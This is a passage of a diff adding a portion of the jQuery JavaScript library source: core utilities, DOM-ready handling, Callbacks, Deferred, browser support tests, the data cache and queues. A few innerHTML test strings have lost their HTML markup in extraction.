).replace( rdashAlpha, fcamelCase ); + }, + + nodeName: function( elem, name ) { + return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); + }, + + // args is for internal usage only + each: function( obj, callback, args ) { + var value, + i = 0, + length = obj.length, + isArray = isArraylike( obj ); + + if ( args ) { + if ( isArray ) { + for ( ; i < length; i++ ) { + value = callback.apply( obj[ i ], args ); + + if ( value === false ) { + break; + } + } + } else { + for ( i in obj ) { + value = callback.apply( obj[ i ], args ); + + if ( value === false ) { + break; + } + } + } + + // A special, fast, case for the most common use of each + } else { + if ( isArray ) { + for ( ; i < length; i++ ) { + value = callback.call( obj[ i ], i, obj[ i ] ); + + if ( value === false ) { + break; + } + } + } else { + for ( i in obj ) { + value = callback.call( obj[ i ], i, obj[ i ] ); + + if ( value === false ) { + break; + } + } + } + } + + return obj; + }, + + // Use native String.trim function wherever possible + trim: core_trim && !core_trim.call("\uFEFF\xA0") ? + function( text ) { + return text == null ? + "" : + core_trim.call( text ); + } : + + // Otherwise use our own trimming functionality + function( text ) { + return text == null ? + "" : + ( text + "" ).replace( rtrim, "" ); + }, + + // results is for internal usage only + makeArray: function( arr, results ) { + var ret = results || []; + + if ( arr != null ) { + if ( isArraylike( Object(arr) ) ) { + jQuery.merge( ret, + typeof arr === "string" ? + [ arr ] : arr + ); + } else { + core_push.call( ret, arr ); + } + } + + return ret; + }, + + inArray: function( elem, arr, i ) { + var len; + + if ( arr ) { + if ( core_indexOf ) { + return core_indexOf.call( arr, elem, i ); + } + + len = arr.length; + i = i ? i < 0 ? Math.max( 0, len + i ) : i : 0; + + for ( ; i < len; i++ ) { + // Skip accessing in sparse arrays + if ( i in arr && arr[ i ] === elem ) { + return i; + } + } + } + + return -1; + }, + + merge: function( first, second ) { + var l = second.length, + i = first.length, + j = 0; + + if ( typeof l === "number" ) { + for ( ; j < l; j++ ) { + first[ i++ ] = second[ j ]; + } + } else { + while ( second[j] !== undefined ) { + first[ i++ ] = second[ j++ ]; + } + } + + first.length = i; + + return first; + }, + + grep: function( elems, callback, inv ) { + var retVal, + ret = [], + i = 0, + length = elems.length; + inv = !!inv; + + // Go through the array, only saving the items + // that pass the validator function + for ( ; i < length; i++ ) { + retVal = !!callback( elems[ i ], i ); + if ( inv !== retVal ) { + ret.push( elems[ i ] ); + } + } + + return ret; + }, + + // arg is for internal usage only + map: function( elems, callback, arg ) { + var value, + i = 0, + length = elems.length, + isArray = isArraylike( elems ), + ret = []; + + // Go through the array, translating each of the items to their + if ( isArray ) { + for ( ; i < length; i++ ) { + value = callback( elems[ i ], i, arg ); + + if ( value != null ) { + ret[ ret.length ] = value; + } + } + + // Go through every key on the object, + } else { + for ( i in elems ) { + value = callback( elems[ i ], i, arg ); + + if ( value != null ) { + ret[ ret.length ] = value; + } + } + } + + // Flatten any nested arrays + return core_concat.apply( [], ret ); + }, + + // A global GUID counter for objects + guid: 1, + + // Bind a function to a context, optionally partially applying any + // arguments. + proxy: function( fn, context ) { + var args, proxy, tmp; + + if ( typeof context === "string" ) { + tmp = fn[ context ]; + context = fn; + fn = tmp; + } + + // Quick check to determine if target is callable, in the spec + // this throws a TypeError, but we will just return undefined. + if ( !jQuery.isFunction( fn ) ) { + return undefined; + } + + // Simulated bind + args = core_slice.call( arguments, 2 ); + proxy = function() { + return fn.apply( context || this, args.concat( core_slice.call( arguments ) ) ); + }; + + // Set the guid of unique handler to the same of original handler, so it can be removed + proxy.guid = fn.guid = fn.guid || jQuery.guid++; + + return proxy; + }, + + // Multifunctional method to get and set values of a collection + // The value/s can optionally be executed if it's a function + access: function( elems, fn, key, value, chainable, emptyGet, raw ) { + var i = 0, + length = elems.length, + bulk = key == null; + + // Sets many values + if ( jQuery.type( key ) === "object" ) { + chainable = true; + for ( i in key ) { + jQuery.access( elems, fn, i, key[i], true, emptyGet, raw ); + } + + // Sets one value + } else if ( value !== undefined ) { + chainable = true; + + if ( !jQuery.isFunction( value ) ) { + raw = true; + } + + if ( bulk ) { + // Bulk operations run against the entire set + if ( raw ) { + fn.call( elems, value ); + fn = null; + + // ...except when executing function values + } else { + bulk = fn; + fn = function( elem, key, value ) { + return bulk.call( jQuery( elem ), value ); + }; + } + } + + if ( fn ) { + for ( ; i < length; i++ ) { + fn( elems[i], key, raw ? value : value.call( elems[i], i, fn( elems[i], key ) ) ); + } + } + } + + return chainable ? + elems : + + // Gets + bulk ? + fn.call( elems ) : + length ? fn( elems[0], key ) : emptyGet; + }, + + now: function() { + return ( new Date() ).getTime(); + } +}); + +jQuery.ready.promise = function( obj ) { + if ( !readyList ) { + + readyList = jQuery.Deferred(); + + // Catch cases where $(document).ready() is called after the browser event has already occurred. + // we once tried to use readyState "interactive" here, but it caused issues like the one + // discovered by ChrisS here: http://bugs.jquery.com/ticket/12282#comment:15 + if ( document.readyState === "complete" ) { + // Handle it asynchronously to allow scripts the opportunity to delay ready + setTimeout( jQuery.ready ); + + // Standards-based browsers support DOMContentLoaded + } else if ( document.addEventListener ) { + // Use the handy event callback + document.addEventListener( "DOMContentLoaded", completed, false ); + + // A fallback to window.onload, that will always work + window.addEventListener( "load", completed, false ); + + // If IE event model is used + } else { + // Ensure firing before onload, maybe late but safe also for iframes + document.attachEvent( "onreadystatechange", completed ); + + // A fallback to window.onload, that will always work + window.attachEvent( "onload", completed ); + + // If IE and not a frame + // continually check to see if the document is ready + var top = false; + + try { + top = window.frameElement == null && document.documentElement; + } catch(e) {} + + if ( top && top.doScroll ) { + (function doScrollCheck() { + if ( !jQuery.isReady ) { + + try { + // Use the trick by Diego Perini + // http://javascript.nwbox.com/IEContentLoaded/ + top.doScroll("left"); + } catch(e) { + return setTimeout( doScrollCheck, 50 ); + } + + // detach all dom ready events + detach(); + + // and execute any waiting functions + jQuery.ready(); + } + })(); + } + } + } + return readyList.promise( obj ); +}; + +// Populate the class2type map +jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) { + class2type[ "[object " + name + "]" ] = name.toLowerCase(); +}); + +function isArraylike( obj ) { + var length = obj.length, + type = jQuery.type( obj ); + + if ( jQuery.isWindow( obj ) ) { + return false; + } + + if ( obj.nodeType === 1 && length ) { + return true; + } + + return type === "array" || type !== "function" && + ( length === 0 || + typeof length === "number" && length > 0 && ( length - 1 ) in obj ); +} + +// All jQuery objects should point back to these +rootjQuery = jQuery(document); +// String to Object options format cache +var optionsCache = {}; + +// Convert String-formatted options into Object-formatted ones and store in cache +function createOptions( options ) { + var object = optionsCache[ options ] = {}; + jQuery.each( options.match( core_rnotwhite ) || [], function( _, flag ) { + object[ flag ] = true; + }); + return object; +} + +/* + * Create a callback list using the following parameters: + * + * options: an optional list of space-separated options that will change how + * the callback list behaves or a more traditional option object + * + * By default a callback list will act like an event callback list and can be + * "fired" multiple times. + * + * Possible options: + * + * once: will ensure the callback list can only be fired once (like a Deferred) + * + * memory: will keep track of previous values and will call any callback added + * after the list has been fired right away with the latest "memorized" + * values (like a Deferred) + * + * unique: will ensure a callback can only be added once (no duplicate in the list) + * + * stopOnFalse: interrupt callings when a callback returns false + * + */ +jQuery.Callbacks = function( options ) { + + // Convert options from String-formatted to Object-formatted if needed + // (we check in cache first) + options = typeof options === "string" ? + ( optionsCache[ options ] || createOptions( options ) ) : + jQuery.extend( {}, options ); + + var // Flag to know if list is currently firing + firing, + // Last fire value (for non-forgettable lists) + memory, + // Flag to know if list was already fired + fired, + // End of the loop when firing + firingLength, + // Index of currently firing callback (modified by remove if needed) + firingIndex, + // First callback to fire (used internally by add and fireWith) + firingStart, + // Actual callback list + list = [], + // Stack of fire calls for repeatable lists + stack = !options.once && [], + // Fire callbacks + fire = function( data ) { + memory = options.memory && data; + fired = true; + firingIndex = firingStart || 0; + firingStart = 0; + firingLength = list.length; + firing = true; + for ( ; list && firingIndex < firingLength; firingIndex++ ) { + if ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) { + memory = false; // To prevent further calls using add + break; + } + } + firing = false; + if ( list ) { + if ( stack ) { + if ( stack.length ) { + fire( stack.shift() ); + } + } else if ( memory ) { + list = []; + } else { + self.disable(); + } + } + }, + // Actual Callbacks object + self = { + // Add a callback or a collection of callbacks to the list + add: function() { + if ( list ) { + // First, we save the current length + var start = list.length; + (function add( args ) { + jQuery.each( args, function( _, arg ) { + var type = jQuery.type( arg ); + if ( type === "function" ) { + if ( !options.unique || !self.has( arg ) ) { + list.push( arg ); + } + } else if ( arg && arg.length && type !== "string" ) { + // Inspect recursively + add( arg ); + } + }); + })( arguments ); + // Do we need to add the callbacks to the + // current firing batch? + if ( firing ) { + firingLength = list.length; + // With memory, if we're not firing then + // we should call right away + } else if ( memory ) { + firingStart = start; + fire( memory ); + } + } + return this; + }, + // Remove a callback from the list + remove: function() { + if ( list ) { + jQuery.each( arguments, function( _, arg ) { + var index; + while( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { + list.splice( index, 1 ); + // Handle firing indexes + if ( firing ) { + if ( index <= firingLength ) { + firingLength--; + } + if ( index <= firingIndex ) { + firingIndex--; + } + } + } + }); + } + return this; + }, + // Check if a given callback is in the list. + // If no argument is given, return whether or not list has callbacks attached. + has: function( fn ) { + return fn ? jQuery.inArray( fn, list ) > -1 : !!( list && list.length ); + }, + // Remove all callbacks from the list + empty: function() { + list = []; + return this; + }, + // Have the list do nothing anymore + disable: function() { + list = stack = memory = undefined; + return this; + }, + // Is it disabled? + disabled: function() { + return !list; + }, + // Lock the list in its current state + lock: function() { + stack = undefined; + if ( !memory ) { + self.disable(); + } + return this; + }, + // Is it locked? + locked: function() { + return !stack; + }, + // Call all callbacks with the given context and arguments + fireWith: function( context, args ) { + args = args || []; + args = [ context, args.slice ? args.slice() : args ]; + if ( list && ( !fired || stack ) ) { + if ( firing ) { + stack.push( args ); + } else { + fire( args ); + } + } + return this; + }, + // Call all the callbacks with the given arguments + fire: function() { + self.fireWith( this, arguments ); + return this; + }, + // To know if the callbacks have already been called at least once + fired: function() { + return !!fired; + } + }; + + return self; +}; +jQuery.extend({ + + Deferred: function( func ) { + var tuples = [ + // action, add listener, listener list, final state + [ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ], + [ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ], + [ "notify", "progress", jQuery.Callbacks("memory") ] + ], + state = "pending", + promise = { + state: function() { + return state; + }, + always: function() { + deferred.done( arguments ).fail( arguments ); + return this; + }, + then: function( /* fnDone, fnFail, fnProgress */ ) { + var fns = arguments; + return jQuery.Deferred(function( newDefer ) { + jQuery.each( tuples, function( i, tuple ) { + var action = tuple[ 0 ], + fn = jQuery.isFunction( fns[ i ] ) && fns[ i ]; + // deferred[ done | fail | progress ] for forwarding actions to newDefer + deferred[ tuple[1] ](function() { + var returned = fn && fn.apply( this, arguments ); + if ( returned && jQuery.isFunction( returned.promise ) ) { + returned.promise() + .done( newDefer.resolve ) + .fail( newDefer.reject ) + .progress( newDefer.notify ); + } else { + newDefer[ action + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); + } + }); + }); + fns = null; + }).promise(); + }, + // Get a promise for this deferred + // If obj is provided, the promise aspect is added to the object + promise: function( obj ) { + return obj != null ? jQuery.extend( obj, promise ) : promise; + } + }, + deferred = {}; + + // Keep pipe for back-compat + promise.pipe = promise.then; + + // Add list-specific methods + jQuery.each( tuples, function( i, tuple ) { + var list = tuple[ 2 ], + stateString = tuple[ 3 ]; + + // promise[ done | fail | progress ] = list.add + promise[ tuple[1] ] = list.add; + + // Handle state + if ( stateString ) { + list.add(function() { + // state = [ resolved | rejected ] + state = stateString; + + // [ reject_list | resolve_list ].disable; progress_list.lock + }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock ); + } + + // deferred[ resolve | reject | notify ] + deferred[ tuple[0] ] = function() { + deferred[ tuple[0] + "With" ]( this === deferred ? promise : this, arguments ); + return this; + }; + deferred[ tuple[0] + "With" ] = list.fireWith; + }); + + // Make the deferred a promise + promise.promise( deferred ); + + // Call given func if any + if ( func ) { + func.call( deferred, deferred ); + } + + // All done! + return deferred; + }, + + // Deferred helper + when: function( subordinate /* , ..., subordinateN */ ) { + var i = 0, + resolveValues = core_slice.call( arguments ), + length = resolveValues.length, + + // the count of uncompleted subordinates + remaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0, + + // the master Deferred. If resolveValues consist of only a single Deferred, just use that. + deferred = remaining === 1 ? subordinate : jQuery.Deferred(), + + // Update function for both resolve and progress values + updateFunc = function( i, contexts, values ) { + return function( value ) { + contexts[ i ] = this; + values[ i ] = arguments.length > 1 ? core_slice.call( arguments ) : value; + if( values === progressValues ) { + deferred.notifyWith( contexts, values ); + } else if ( !( --remaining ) ) { + deferred.resolveWith( contexts, values ); + } + }; + }, + + progressValues, progressContexts, resolveContexts; + + // add listeners to Deferred subordinates; treat others as resolved + if ( length > 1 ) { + progressValues = new Array( length ); + progressContexts = new Array( length ); + resolveContexts = new Array( length ); + for ( ; i < length; i++ ) { + if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) { + resolveValues[ i ].promise() + .done( updateFunc( i, resolveContexts, resolveValues ) ) + .fail( deferred.reject ) + .progress( updateFunc( i, progressContexts, progressValues ) ); + } else { + --remaining; + } + } + } + + // if we're not waiting on anything, resolve the master + if ( !remaining ) { + deferred.resolveWith( resolveContexts, resolveValues ); + } + + return deferred.promise(); + } +}); +jQuery.support = (function() { + + var support, all, a, + input, select, fragment, + opt, eventName, isSupported, i, + div = document.createElement("div"); + + // Setup + div.setAttribute( "className", "t" ); + div.innerHTML = "
a"; + + // Support tests won't run in some limited or non-browser environments + all = div.getElementsByTagName("*"); + a = div.getElementsByTagName("a")[ 0 ]; + if ( !all || !a || !all.length ) { + return {}; + } + + // First batch of tests + select = document.createElement("select"); + opt = select.appendChild( document.createElement("option") ); + input = div.getElementsByTagName("input")[ 0 ]; + + a.style.cssText = "top:1px;float:left;opacity:.5"; + support = { + // Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7) + getSetAttribute: div.className !== "t", + + // IE strips leading whitespace when .innerHTML is used + leadingWhitespace: div.firstChild.nodeType === 3, + + // Make sure that tbody elements aren't automatically inserted + // IE will insert them into empty tables + tbody: !div.getElementsByTagName("tbody").length, + + // Make sure that link elements get serialized correctly by innerHTML + // This requires a wrapper element in IE + htmlSerialize: !!div.getElementsByTagName("link").length, + + // Get the style information from getAttribute + // (IE uses .cssText instead) + style: /top/.test( a.getAttribute("style") ), + + // Make sure that URLs aren't manipulated + // (IE normalizes it by default) + hrefNormalized: a.getAttribute("href") === "/a", + + // Make sure that element opacity exists + // (IE uses filter instead) + // Use a regex to work around a WebKit issue. See #5145 + opacity: /^0.5/.test( a.style.opacity ), + + // Verify style float existence + // (IE uses styleFloat instead of cssFloat) + cssFloat: !!a.style.cssFloat, + + // Check the default checkbox/radio value ("" on WebKit; "on" elsewhere) + checkOn: !!input.value, + + // Make sure that a selected-by-default option has a working selected property. + // (WebKit defaults to false instead of true, IE too, if it's in an optgroup) + optSelected: opt.selected, + + // Tests for enctype support on a form (#6743) + enctype: !!document.createElement("form").enctype, + + // Makes sure cloning an html5 element does not cause problems + // Where outerHTML is undefined, this still works + html5Clone: document.createElement("nav").cloneNode( true ).outerHTML !== "<:nav>", + + // jQuery.support.boxModel DEPRECATED in 1.8 since we don't support Quirks Mode + boxModel: document.compatMode === "CSS1Compat", + + // Will be defined later + deleteExpando: true, + noCloneEvent: true, + inlineBlockNeedsLayout: false, + shrinkWrapBlocks: false, + reliableMarginRight: true, + boxSizingReliable: true, + pixelPosition: false + }; + + // Make sure checked status is properly cloned + input.checked = true; + support.noCloneChecked = input.cloneNode( true ).checked; + + // Make sure that the options inside disabled selects aren't marked as disabled + // (WebKit marks them as disabled) + select.disabled = true; + support.optDisabled = !opt.disabled; + + // Support: IE<9 + try { + delete div.test; + } catch( e ) { + support.deleteExpando = false; + } + + // Check if we can trust getAttribute("value") + input = document.createElement("input"); + input.setAttribute( "value", "" ); + support.input = input.getAttribute( "value" ) === ""; + + // Check if an input maintains its value after becoming a radio + input.value = "t"; + input.setAttribute( "type", "radio" ); + support.radioValue = input.value === "t"; + + // #11217 - WebKit loses check when the name is after the checked attribute + input.setAttribute( "checked", "t" ); + input.setAttribute( "name", "t" ); + + fragment = document.createDocumentFragment(); + fragment.appendChild( input ); + + // Check if a disconnected checkbox will retain its checked + // value of true after appended to the DOM (IE6/7) + support.appendChecked = input.checked; + + // WebKit doesn't clone checked state correctly in fragments + support.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked; + + // Support: IE<9 + // Opera does not clone events (and typeof div.attachEvent === undefined). + // IE9-10 clones events bound via attachEvent, but they don't trigger with .click() + if ( div.attachEvent ) { + div.attachEvent( "onclick", function() { + support.noCloneEvent = false; + }); + + div.cloneNode( true ).click(); + } + + // Support: IE<9 (lack submit/change bubble), Firefox 17+ (lack focusin event) + // Beware of CSP restrictions (https://developer.mozilla.org/en/Security/CSP), test/csp.php + for ( i in { submit: true, change: true, focusin: true }) { + div.setAttribute( eventName = "on" + i, "t" ); + + support[ i + "Bubbles" ] = eventName in window || div.attributes[ eventName ].expando === false; + } + + div.style.backgroundClip = "content-box"; + div.cloneNode( true ).style.backgroundClip = ""; + support.clearCloneStyle = div.style.backgroundClip === "content-box"; + + // Run tests that need a body at doc ready + jQuery(function() { + var container, marginDiv, tds, + divReset = "padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;", + body = document.getElementsByTagName("body")[0]; + + if ( !body ) { + // Return for frameset docs that don't have a body + return; + } + + container = document.createElement("div"); + container.style.cssText = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px"; + + body.appendChild( container ).appendChild( div ); + + // Support: IE8 + // Check if table cells still have offsetWidth/Height when they are set + // to display:none and there are still other visible table cells in a + // table row; if so, offsetWidth/Height are not reliable for use when + // determining if an element has been hidden directly using + // display:none (it is still safe to use offsets if a parent element is + // hidden; don safety goggles and see bug #4512 for more information). + div.innerHTML = "
t
"; + tds = div.getElementsByTagName("td"); + tds[ 0 ].style.cssText = "padding:0;margin:0;border:0;display:none"; + isSupported = ( tds[ 0 ].offsetHeight === 0 ); + + tds[ 0 ].style.display = ""; + tds[ 1 ].style.display = "none"; + + // Support: IE8 + // Check if empty table cells still have offsetWidth/Height + support.reliableHiddenOffsets = isSupported && ( tds[ 0 ].offsetHeight === 0 ); + + // Check box-sizing and margin behavior + div.innerHTML = ""; + div.style.cssText = "box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;"; + support.boxSizing = ( div.offsetWidth === 4 ); + support.doesNotIncludeMarginInBodyOffset = ( body.offsetTop !== 1 ); + + // Use window.getComputedStyle because jsdom on node.js will break without it. + if ( window.getComputedStyle ) { + support.pixelPosition = ( window.getComputedStyle( div, null ) || {} ).top !== "1%"; + support.boxSizingReliable = ( window.getComputedStyle( div, null ) || { width: "4px" } ).width === "4px"; + + // Check if div with explicit width and no margin-right incorrectly + // gets computed margin-right based on width of container. (#3333) + // Fails in WebKit before Feb 2011 nightlies + // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right + marginDiv = div.appendChild( document.createElement("div") ); + marginDiv.style.cssText = div.style.cssText = divReset; + marginDiv.style.marginRight = marginDiv.style.width = "0"; + div.style.width = "1px"; + + support.reliableMarginRight = + !parseFloat( ( window.getComputedStyle( marginDiv, null ) || {} ).marginRight ); + } + + if ( typeof div.style.zoom !== core_strundefined ) { + // Support: IE<8 + // Check if natively block-level elements act like inline-block + // elements when setting their display to 'inline' and giving + // them layout + div.innerHTML = ""; + div.style.cssText = divReset + "width:1px;padding:1px;display:inline;zoom:1"; + support.inlineBlockNeedsLayout = ( div.offsetWidth === 3 ); + + // Support: IE6 + // Check if elements with layout shrink-wrap their children + div.style.display = "block"; + div.innerHTML = "
"; + div.firstChild.style.width = "5px"; + support.shrinkWrapBlocks = ( div.offsetWidth !== 3 ); + + if ( support.inlineBlockNeedsLayout ) { + // Prevent IE 6 from affecting layout for positioned elements #11048 + // Prevent IE from shrinking the body in IE 7 mode #12869 + // Support: IE<8 + body.style.zoom = 1; + } + } + + body.removeChild( container ); + + // Null elements to avoid leaks in IE + container = div = tds = marginDiv = null; + }); + + // Null elements to avoid leaks in IE + all = select = fragment = opt = a = input = null; + + return support; +})(); + +var rbrace = /(?:\{[\s\S]*\}|\[[\s\S]*\])$/, + rmultiDash = /([A-Z])/g; + +function internalData( elem, name, data, pvt /* Internal Use Only */ ){ + if ( !jQuery.acceptData( elem ) ) { + return; + } + + var thisCache, ret, + internalKey = jQuery.expando, + getByName = typeof name === "string", + + // We have to handle DOM nodes and JS objects differently because IE6-7 + // can't GC object references properly across the DOM-JS boundary + isNode = elem.nodeType, + + // Only DOM nodes need the global jQuery cache; JS object data is + // attached directly to the object so GC can occur automatically + cache = isNode ? jQuery.cache : elem, + + // Only defining an ID for JS objects if its cache already exists allows + // the code to shortcut on the same path as a DOM node with no cache + id = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey; + + // Avoid doing any more work than we need to when trying to get data on an + // object that has no data at all + if ( (!id || !cache[id] || (!pvt && !cache[id].data)) && getByName && data === undefined ) { + return; + } + + if ( !id ) { + // Only DOM nodes need a new unique ID for each element since their data + // ends up in the global cache + if ( isNode ) { + elem[ internalKey ] = id = core_deletedIds.pop() || jQuery.guid++; + } else { + id = internalKey; + } + } + + if ( !cache[ id ] ) { + cache[ id ] = {}; + + // Avoids exposing jQuery metadata on plain JS objects when the object + // is serialized using JSON.stringify + if ( !isNode ) { + cache[ id ].toJSON = jQuery.noop; + } + } + + // An object can be passed to jQuery.data instead of a key/value pair; this gets + // shallow copied over onto the existing cache + if ( typeof name === "object" || typeof name === "function" ) { + if ( pvt ) { + cache[ id ] = jQuery.extend( cache[ id ], name ); + } else { + cache[ id ].data = jQuery.extend( cache[ id ].data, name ); + } + } + + thisCache = cache[ id ]; + + // jQuery data() is stored in a separate object inside the object's internal data + // cache in order to avoid key collisions between internal data and user-defined + // data. + if ( !pvt ) { + if ( !thisCache.data ) { + thisCache.data = {}; + } + + thisCache = thisCache.data; + } + + if ( data !== undefined ) { + thisCache[ jQuery.camelCase( name ) ] = data; + } + + // Check for both converted-to-camel and non-converted data property names + // If a data property was specified + if ( getByName ) { + + // First Try to find as-is property data + ret = thisCache[ name ]; + + // Test for null|undefined property data + if ( ret == null ) { + + // Try to find the camelCased property + ret = thisCache[ jQuery.camelCase( name ) ]; + } + } else { + ret = thisCache; + } + + return ret; +} + +function internalRemoveData( elem, name, pvt ) { + if ( !jQuery.acceptData( elem ) ) { + return; + } + + var i, l, thisCache, + isNode = elem.nodeType, + + // See jQuery.data for more information + cache = isNode ? jQuery.cache : elem, + id = isNode ? elem[ jQuery.expando ] : jQuery.expando; + + // If there is already no cache entry for this object, there is no + // purpose in continuing + if ( !cache[ id ] ) { + return; + } + + if ( name ) { + + thisCache = pvt ? cache[ id ] : cache[ id ].data; + + if ( thisCache ) { + + // Support array or space separated string names for data keys + if ( !jQuery.isArray( name ) ) { + + // try the string as a key before any manipulation + if ( name in thisCache ) { + name = [ name ]; + } else { + + // split the camel cased version by spaces unless a key with the spaces exists + name = jQuery.camelCase( name ); + if ( name in thisCache ) { + name = [ name ]; + } else { + name = name.split(" "); + } + } + } else { + // If "name" is an array of keys... + // When data is initially created, via ("key", "val") signature, + // keys will be converted to camelCase. + // Since there is no way to tell _how_ a key was added, remove + // both plain key and camelCase key. #12786 + // This will only penalize the array argument path. + name = name.concat( jQuery.map( name, jQuery.camelCase ) ); + } + + for ( i = 0, l = name.length; i < l; i++ ) { + delete thisCache[ name[i] ]; + } + + // If there is no data left in the cache, we want to continue + // and let the cache object itself get destroyed + if ( !( pvt ? isEmptyDataObject : jQuery.isEmptyObject )( thisCache ) ) { + return; + } + } + } + + // See jQuery.data for more information + if ( !pvt ) { + delete cache[ id ].data; + + // Don't destroy the parent cache unless the internal data object + // had been the only thing left in it + if ( !isEmptyDataObject( cache[ id ] ) ) { + return; + } + } + + // Destroy the cache + if ( isNode ) { + jQuery.cleanData( [ elem ], true ); + + // Use delete when supported for expandos or `cache` is not a window per isWindow (#10080) + } else if ( jQuery.support.deleteExpando || cache != cache.window ) { + delete cache[ id ]; + + // When all else fails, null + } else { + cache[ id ] = null; + } +} + +jQuery.extend({ + cache: {}, + + // Unique for each copy of jQuery on the page + // Non-digits removed to match rinlinejQuery + expando: "jQuery" + ( core_version + Math.random() ).replace( /\D/g, "" ), + + // The following elements throw uncatchable exceptions if you + // attempt to add expando properties to them. + noData: { + "embed": true, + // Ban all objects except for Flash (which handle expandos) + "object": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000", + "applet": true + }, + + hasData: function( elem ) { + elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ]; + return !!elem && !isEmptyDataObject( elem ); + }, + + data: function( elem, name, data ) { + return internalData( elem, name, data ); + }, + + removeData: function( elem, name ) { + return internalRemoveData( elem, name ); + }, + + // For internal use only. + _data: function( elem, name, data ) { + return internalData( elem, name, data, true ); + }, + + _removeData: function( elem, name ) { + return internalRemoveData( elem, name, true ); + }, + + // A method for determining if a DOM node can handle the data expando + acceptData: function( elem ) { + // Do not set data on non-element because it will not be cleared (#8335). + if ( elem.nodeType && elem.nodeType !== 1 && elem.nodeType !== 9 ) { + return false; + } + + var noData = elem.nodeName && jQuery.noData[ elem.nodeName.toLowerCase() ]; + + // nodes accept data unless otherwise specified; rejection can be conditional + return !noData || noData !== true && elem.getAttribute("classid") === noData; + } +}); + +jQuery.fn.extend({ + data: function( key, value ) { + var attrs, name, + elem = this[0], + i = 0, + data = null; + + // Gets all values + if ( key === undefined ) { + if ( this.length ) { + data = jQuery.data( elem ); + + if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) { + attrs = elem.attributes; + for ( ; i < attrs.length; i++ ) { + name = attrs[i].name; + + if ( !name.indexOf( "data-" ) ) { + name = jQuery.camelCase( name.slice(5) ); + + dataAttr( elem, name, data[ name ] ); + } + } + jQuery._data( elem, "parsedAttrs", true ); + } + } + + return data; + } + + // Sets multiple values + if ( typeof key === "object" ) { + return this.each(function() { + jQuery.data( this, key ); + }); + } + + return jQuery.access( this, function( value ) { + + if ( value === undefined ) { + // Try to fetch any internally stored data first + return elem ? dataAttr( elem, key, jQuery.data( elem, key ) ) : null; + } + + this.each(function() { + jQuery.data( this, key, value ); + }); + }, null, value, arguments.length > 1, null, true ); + }, + + removeData: function( key ) { + return this.each(function() { + jQuery.removeData( this, key ); + }); + } +}); + +function dataAttr( elem, key, data ) { + // If nothing was found internally, try to fetch any + // data from the HTML5 data-* attribute + if ( data === undefined && elem.nodeType === 1 ) { + + var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase(); + + data = elem.getAttribute( name ); + + if ( typeof data === "string" ) { + try { + data = data === "true" ? true : + data === "false" ? false : + data === "null" ? null : + // Only convert to a number if it doesn't change the string + +data + "" === data ? +data : + rbrace.test( data ) ? jQuery.parseJSON( data ) : + data; + } catch( e ) {} + + // Make sure we set the data so it isn't changed later + jQuery.data( elem, key, data ); + + } else { + data = undefined; + } + } + + return data; +} + +// checks a cache object for emptiness +function isEmptyDataObject( obj ) { + var name; + for ( name in obj ) { + + // if the public data object is empty, the private is still empty + if ( name === "data" && jQuery.isEmptyObject( obj[name] ) ) { + continue; + } + if ( name !== "toJSON" ) { + return false; + } + } + + return true; +} +jQuery.extend({ + queue: function( elem, type, data ) { + var queue; + + if ( elem ) { + type = ( type || "fx" ) + "queue"; + queue = jQuery._data( elem, type ); + + // Speed up dequeue by getting out quickly if this is just a lookup + if ( data ) { + if ( !queue || jQuery.isArray(data) ) { + queue = jQuery._data( elem, type, jQuery.makeArray(data) ); + } else { + queue.push( data ); + } + } + return queue || []; + } + }, + + dequeue: function( elem, type ) { + type = type || "fx"; + + var queue = jQuery.queue( elem, type ), + startLength = queue.length, + fn = queue.shift(), + hooks = jQuery._queueHooks( elem, type ), + next = function() { + jQuery.dequeue( elem, type ); + }; + + // If the fx queue is dequeued, always remove the progress sentinel + if ( fn === "inprogress" ) { + fn = queue.shift(); + startLength--; + } + + hooks.cur = fn; + if ( fn ) { + + // Add a progress sentinel to prevent the fx queue from being + // automatically dequeued + if ( type === "fx" ) { + queue.unshift( "inprogress" ); + } + + // clear up the last queue stop function + delete hooks.stop; + fn.call( elem, next, hooks ); + } + + if ( !startLength && hooks ) { + hooks.empty.fire(); + } + }, + + // not intended for public consumption - generates a queueHooks object, or returns the current one + _queueHooks: function( elem, type ) { + var key = type + "queueHooks"; + return jQuery._data( elem, key ) || jQuery._data( elem, key, { + empty: jQuery.Callbacks("once memory").add(function() { + jQuery._removeData( elem, type + "queue" ); + jQuery._removeData( elem, key ); + }) + }); + } +}); + +jQuery.fn.extend({ + queue: function( type, data ) { + var setter = 2; + + if ( typeof type !== "string" ) { + data = type; + type = "fx"; + setter--; + } + + if ( arguments.length < setter ) { + return jQuery.queue( this[0], type ); + } + + return data === undefined ? + this : + this.each(function() { + var queue = jQuery.queue( this, type, data ); + + // ensure a hooks for this queue + jQuery._queueHooks( this, type ); + + if ( type === "fx" && queue[0] !== "inprogress" ) { + jQuery.dequeue( this, type ); + } + }); + }, + dequeue: function( type ) { + return this.each(function() { + jQuery.dequeue( this, type ); + }); + }, + // Based off of the plugin by Clint Helfers, with permission. + // 